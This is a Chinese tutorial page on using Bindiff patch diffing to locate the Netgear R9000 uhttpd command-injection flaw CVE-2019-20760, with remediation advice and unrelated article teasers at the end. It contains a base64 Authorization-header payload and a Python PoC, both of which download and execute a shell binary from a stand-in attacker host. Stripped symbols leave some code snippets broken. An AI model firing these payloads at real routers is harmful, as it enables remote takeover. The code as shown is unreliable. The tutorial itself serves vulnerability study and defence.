当前位置: 首页 > article >正文

从补丁对比看漏洞原理:手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞(CVE-2019-20760)

从补丁对比看漏洞原理手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞CVE-2019-20760在二进制安全领域补丁对比Patch Diffing是一种高效定位漏洞的技术手段。当厂商发布安全更新时通过对比修复前后的二进制文件我们可以快速锁定被修改的关键函数进而分析漏洞成因。本文将以Netgear R9000路由器中的uhttpd服务为例带你深入理解如何利用Bindiff工具挖掘CVE-2019-20760这个经典的远程命令执行漏洞。1. 环境搭建与工具准备1.1 获取目标固件首先需要下载存在漏洞和已修复的两个版本固件漏洞版本R9000-V1.0.4.26修复版本R9000-V1.0.4.28wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip1.2 解压固件提取关键文件使用binwalk解压固件获取文件系统binwalk -Mer R9000-V1.0.4.26.img binwalk -Mer R9000-V1.0.4.28.img重点关注/usr/sbin/uhttpd这个二进制文件它是漏洞分析的核心目标。1.3 工具链配置本次分析需要以下工具IDA Pro用于反汇编和静态分析BindiffIDA插件专门用于二进制文件差异比较QEMUARM架构模拟环境可选用于动态调试提示确保Bindiff插件已正确安装到IDA的plugins目录并在分析时选择相同版本的IDA加载两个文件以保证对比准确性。2. Bindiff基础操作与函数匹配2.1 加载二进制文件用IDA分别打开漏洞版本和修复版本的uhttpd等待初始分析完成后通过File Load file Bindiff database加载对比文件Bindiff会自动匹配两个版本中的相似函数2.2 理解匹配结果Bindiff会显示函数相似度评分0-1.0重点关注相似度范围分析建议0.9-1.0几乎无变化0.7-0.9微小调整0.3-0.7显著修改0.3可能重构在本次案例中uh_cgi_auth_check函数显示相似度0.65表明有重要修改。3. 漏洞函数深度分析3.1 漏洞版本代码还原通过反编译漏洞版本的uh_cgi_auth_check关键代码如下memset(s, 0, 0x1000u); v14 strlen(v13); uh_b64decode(s, 0xFFF, v13 6, v14 - 6); v15 strchr(s, :); if (!v15) goto LABEL_32; // 构造命令字符串 snprintf(command, 0x80u, /usr/sbin/hash-data -e %s gt;/tmp/hash_result, v15 1); // 直接执行用户可控输入 system(command);这段代码存在典型命令注入漏洞对HTTP Basic Auth的Base64解码后获取用户名密码使用snprintf拼接用户输入的密码部分到系统命令直接通过system()执行拼接后的命令3.2 修复版本对比分析修复后的版本主要变化// 使用安全函数替代system dni_system(/tmp/hash_result, 0, 0, /usr/sbin/hash-data, -e, v17, 0);关键改进点用dni_system替代危险的system调用参数化执行而非字符串拼接固定命令路径用户输入仅作为参数传递3.3 漏洞利用原理攻击者可以构造特殊的Authorization头Authorization: Basic YWRtaW46YHdnZXQgZXhhbXBsZS5jb20vc2hlbGwuc2gKY2htb2QgK3ggLi9zaGVsbC5zaAouL3NoZWxsLnNoYA解码后实际命令admin:wget example.com/shell.sh chmod x ./shell.sh ./shell.sh当这个输入被拼接到system()调用时反引号内的命令将被执行。4. 漏洞复现与防御方案4.1 本地验证环境搭建使用QEMU模拟ARM环境qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive ifsd,filedebian_wheezy_armhf_standard.qcow2 \ -append root/dev/mmcblk0p2 consolettyAMA0 \ -net nic -net tap,ifnametap0,scriptno,downscriptno \ -nographic4.2 漏洞验证POCimport requests import base64 cmd admin:wget http://attacker.com/shell.elf -O /tmp/shell chmod x /tmp/shell /tmp/shell auth Basic base64.b64encode(cmd.encode()).decode() requests.get(http://target/cgi-bin/, headers{Authorization: auth})4.3 安全防护建议对于开发者避免使用system/popen等危险函数使用execve等参数化执行方式对用户输入进行严格过滤对于管理员及时更新设备固件限制管理界面访问来源监控异常网络请求5. 进阶分析技巧5.1 函数调用图对比使用Bindiff的调用图(Call Graph)功能可以可视化函数关系变化右键函数选择View flow graph对比两个版本的调用关系重点关注新增/删除的安全检查函数5.2 交叉引用分析在IDA中通过Xrefs查找system等危险函数的调用点for addr in idautils.Functions(): if system in GetFunctionName(addr): print(hex(addr), GetFunctionName(addr))5.3 补丁星期二分析策略针对厂商定期更新的安全补丁建议建立自动化抓取固件更新的流程对每个版本进行Bindiff快速筛查优先分析网络服务组件记录历史漏洞模式形成知识库在真实漏洞挖掘过程中补丁对比往往能发现漏洞的同源变异。比如这次分析的命令注入问题在多个厂商的路由器固件中都存在类似模式。掌握Bindiff这类工具的使用能显著提高二进制分析的效率。

相关文章:

从补丁对比看漏洞原理:手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞(CVE-2019-20760)

从补丁对比看漏洞原理:手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞(CVE-2019-20760) 在二进制安全领域,补丁对比(Patch Diffing)是一种高效定位漏洞的技术手段。当厂商发布安全更新时,通过…...

从“纸上谈兵”到“真车实测”:手把手教你用三维H点装置(HPM II)测量汽车内部尺寸

三维H点测量装置实战指南:解锁汽车人机工程设计的核心密码 当我在某德系车企的NVH实验室第一次接触HPM II装置时,那个重达23.5公斤的机械结构体让我印象深刻——它看似笨重的金属骨架,实则是连接汽车设计图纸与真实驾乘体验的"时空隧道&…...

为什么选择wiliwili:3个核心优势让你在游戏机上畅享B站

为什么选择wiliwili:3个核心优势让你在游戏机上畅享B站 【免费下载链接】wiliwili 第三方B站客户端,目前可以运行在PC全平台、PSVita、PS4 、Xbox 和 Nintendo Switch上 项目地址: https://gitcode.com/GitHub_Trending/wi/wiliwili 你是否曾经想…...

3个核心功能解析:Anno 1800 Mod Loader如何彻底改变你的游戏模组体验

3个核心功能解析:Anno 1800 Mod Loader如何彻底改变你的游戏模组体验 【免费下载链接】anno1800-mod-loader The one and only mod loader for Anno 1800, supports loading of unpacked RDA files, XML merging and Python mods. 项目地址: https://gitcode.com/…...

通过curl命令快速测试Taotoken平台的模型兼容性与响应

通过curl命令快速测试Taotoken平台的模型兼容性与响应 1. 准备工作 在开始使用curl测试Taotoken平台之前,需要确保已准备好以下两项内容。首先登录Taotoken控制台,在「API密钥」页面创建一个新的API Key并妥善保存。其次访问「模型广场」页面&#xff…...

STM32F103C8T6驱动GY-30光照传感器:从芯片手册到OLED显示的完整避坑指南

STM32F103C8T6驱动GY-30光照传感器:从芯片手册到OLED显示的完整避坑指南 第一次接触GY-30光照传感器时,我盯着那个比指甲盖还小的模块发愁——明明按照教程连好了线,代码也一字不差地敲进去,为什么OLED上显示的数字就像抽风一样乱…...

对比不同模型在 Taotoken 上的响应速度与输出效果差异

不同模型在 Taotoken 上的响应与输出表现观察 1. 测试环境与模型选择 本次测试基于 Taotoken 平台提供的多模型接入能力,选取了平台模型广场中常见的三种模型进行对比观察。测试环境为本地开发机通过标准 HTTP 请求调用 Taotoken API,网络延迟稳定在 5…...

AI辅助开发:利用快马平台Kimi模型实现公交车客流预测模型前端演示

最近在做一个公交车客流预测的小项目,正好用到了InsCode(快马)平台的AI辅助开发功能,整个过程特别顺畅。今天就把这个实现过程记录下来,分享给同样对智能交通系统感兴趣的朋友们。 数据模拟生成 首先需要模拟生成公交车客流量的训练数据。我让…...

从B站杨老师模电课到TINA仿真:一个电子设计竞赛E题电路实战复盘(附避坑指南)

从B站模电课到电路实战:一个电子竞赛选手的成长手记 第一次拿起电烙铁时,我的手抖得比示波器上的噪声信号还厉害。作为某双非院校电子信息工程专业的学生,课堂上的模电知识就像那些永远调不准的示波器探头——看似连接上了,实际却…...

终极RPG Maker资源解密解决方案:如何高效提取加密游戏资源

终极RPG Maker资源解密解决方案:如何高效提取加密游戏资源 【免费下载链接】RPGMakerDecrypter Tool for decrypting and extracting RPG Maker XP, VX and VX Ace encrypted archives and MV and MZ encrypted files. 项目地址: https://gitcode.com/gh_mirrors/…...

AntiDupl:告别重复图片困扰的智能解决方案

AntiDupl:告别重复图片困扰的智能解决方案 【免费下载链接】AntiDupl A program to search similar and defect pictures on the disk 项目地址: https://gitcode.com/gh_mirrors/an/AntiDupl 你是否曾经面对电脑中堆积如山的照片感到无从下手?每…...

基于MCP协议构建AI社交平台统一接口:SocialAPIsHub/mcp-server实战解析

1. 项目概述:一个为AI应用提供统一社交平台接口的“翻译官” 最近在折腾AI应用开发,特别是想让AI助手能帮我处理一些社交媒体上的琐事,比如自动发帖、回复评论或者分析数据。但很快我就发现了一个头疼的问题:每个社交平台——微信…...

如何用ContextMenuManager找回Windows右键菜单的清爽体验

如何用ContextMenuManager找回Windows右键菜单的清爽体验 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 你是否曾经在Windows中右键点击文件时,面对…...

释放RK3588视频处理潜力:用FFmpeg+RKMPP硬件解码替代OpenCV,实测性能提升指南

释放RK3588视频处理潜力:FFmpegRKMPP硬件解码与OpenCV混合架构实战 在嵌入式视觉系统中,RK3588凭借其强大的NPU和视频编解码能力成为行业焦点。但许多开发者仍被困在OpenCV的传统视频处理路径中,未能充分释放这颗芯片的全部潜力。本文将揭示…...

为LLM构建外部记忆系统:原理、实现与RAG应用实践

1. 项目概述:为LLM装上“记忆”的探索最近在折腾大语言模型应用开发的朋友,估计都绕不开一个核心痛点:上下文长度限制。无论是OpenAI的GPT系列,还是开源的Llama、Qwen,它们的“工作记忆”窗口都是有限的。这意味着&…...

配置 Hermes Agent 使用 Taotoken 提供的自定义模型服务

配置 Hermes Agent 使用 Taotoken 提供的自定义模型服务 1. 准备工作 在开始配置 Hermes Agent 之前,请确保已完成以下准备工作。首先登录 Taotoken 控制台,在「API 密钥」页面创建一个新的密钥并妥善保存。随后访问「模型广场」页面,记录您…...

用MATLAB/Simulink手把手搭建单相双极性PWM逆变电路(附完整模型与FFT分析)

MATLAB/Simulink实战:单相双极性PWM逆变电路建模与谐波优化指南 电力电子工程师的日常工作中,仿真验证是避免硬件烧毁的关键步骤。记得我第一次用面包板搭建真实的逆变电路时,由于参数计算失误,瞬间炸飞的MOSFET让我深刻理解了&qu…...

告别复杂配置!用Stowaway快速搭建多级代理链,实现内网漫游(保姆级图文教程)

零门槛构建多级代理链:Stowaway实战指南 在渗透测试和内网安全评估中,多级代理链是绕过网络隔离、实现纵深渗透的关键技术。传统工具如frp往往需要繁琐的配置文件,每个跳板节点都需要独立设置参数,对于新手来说学习曲线陡峭。而St…...

5大核心模块揭秘:SENAITE LIMS如何重塑现代实验室数字化转型

5大核心模块揭秘:SENAITE LIMS如何重塑现代实验室数字化转型 【免费下载链接】senaite.lims SENAITE Meta Package 项目地址: https://gitcode.com/gh_mirrors/se/senaite.lims 在当今数字化浪潮中,实验室信息管理系统(LIMS&#xff0…...

3个歌词管理难题:163MusicLyrics如何高效解决你的音乐歌词获取困境

3个歌词管理难题:163MusicLyrics如何高效解决你的音乐歌词获取困境 【免费下载链接】163MusicLyrics 云音乐歌词获取处理工具【网易云、QQ音乐】 项目地址: https://gitcode.com/GitHub_Trending/16/163MusicLyrics 还在为音乐播放器找不到歌词而烦恼吗&…...

ESP32+MPU6050体感控制避坑指南:为什么你的双舵机总在‘抽风’?

ESP32MPU6050体感控制避坑指南:为什么你的双舵机总在‘抽风’? 当你兴奋地组装好ESP32、MPU6050和双舵机,准备体验酷炫的体感控制时,却发现舵机像得了帕金森一样不停抖动,或者反应迟钝得像在梦游——这种挫败感我太熟…...

用Matlab搞定多传感器融合:手把手教你实现SRCKF算法(附完整代码)

用Matlab搞定多传感器融合:手把手教你实现SRCKF算法(附完整代码) 在工业自动化、无人驾驶和航空航天等领域,多传感器数据融合技术正发挥着越来越重要的作用。面对复杂的非线性系统,传统的卡尔曼滤波算法往往力不从心&a…...

Windows风扇控制终极指南:Fan Control完全配置与使用教程

Windows风扇控制终极指南:Fan Control完全配置与使用教程 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending…...

Vue项目实战:用AntV X6搞定复杂产品架构图(支持脑图/树形一键切换)

Vue与AntV X6实战:构建动态可切换的产品架构可视化方案 在复杂产品研发过程中,清晰呈现功能模块的层级关系与逻辑流向是每个技术团队面临的挑战。传统静态架构图往往难以兼顾宏观产品线与微观功能细节的展示需求,而AntV X6与Vue的组合为解决…...

ENVI5.3保姆级教程:高分二号影像从辐射定标到图像融合,一篇搞定所有预处理

ENVI5.3高分二号影像全流程预处理实战手册 第一次接触高分二号影像处理时,我被各种专业术语和复杂流程绕得晕头转向。辐射定标、大气校正、正射校正这些概念听起来就让人望而生畏,更别提实际操作中遇到的各种报错和意外情况。经过多个项目的实战积累&…...

量化回测框架三选一:Backtrader、Zipline、PyAlgoTrade,新手到底该跟谁学?

量化回测框架三选一:Backtrader、Zipline、PyAlgoTrade,新手到底该跟谁学? 刚学完Python基础的程序员小张最近迷上了量化交易,但在选择第一个回测框架时犯了难。Backtrader、Zipline、PyAlgoTrade这三个名字反复出现在各种教程里&…...

终极免费Windows风扇控制神器:5个真实场景解决你的散热烦恼

终极免费Windows风扇控制神器:5个真实场景解决你的散热烦恼 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trendi…...

大模型系统提示工程与RAG技术实战指南

1. 项目概述:当大模型遇上系统提示工程去年在部署企业级对话系统时,我遇到一个典型场景:客户要求客服机器人既能用专业术语回答技术咨询,又能用亲切口吻处理客诉。传统微调方案需要准备两套模型,直到采用系统提示&…...

你还在手动做表?Gemini 3.1 Pro解决办公问题已是行业标准

如果说过去职场里最耗时间的事之一是“做表”,那么今天,这件事正在被AI快速改写。尤其是在数据整理、信息汇总、报表分析这些高频场景里,Gemini 3.1 Pro这类模型已经不只是“辅助工具”,而是在很多团队里变成了默认选项。所谓“手…...

强化学习在代码生成模型中的应用与实践

1. 项目背景与核心价值代码生成模型近年来在开发者社区引起了广泛关注,但传统监督学习方法存在明显的局限性——它们只能学习训练数据中已有的模式,难以应对真实开发场景中那些边界情况(edge cases)和复杂逻辑组合。这正是强化学习…...